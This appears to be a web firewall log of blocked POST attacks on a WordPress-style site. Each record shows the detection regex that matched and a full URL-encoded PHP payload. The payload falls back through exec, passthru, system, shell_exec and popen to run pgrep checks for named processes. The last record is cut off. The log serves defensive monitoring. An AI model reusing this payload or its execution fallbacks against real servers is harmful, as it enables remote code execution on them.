["2026-05-12 10:20:18","167.172.79.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TQ:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3360\nsec-fetch-mode:navigate\n\nTQ=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:20:25","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gq:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3360\nsec-fetch-mode:navigate\n\ngq=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:20:32","209.142.66.40","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rQ:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3360\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nrQ=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:20:39","85.195.82.166","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QZ:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3360\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nQZ=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%2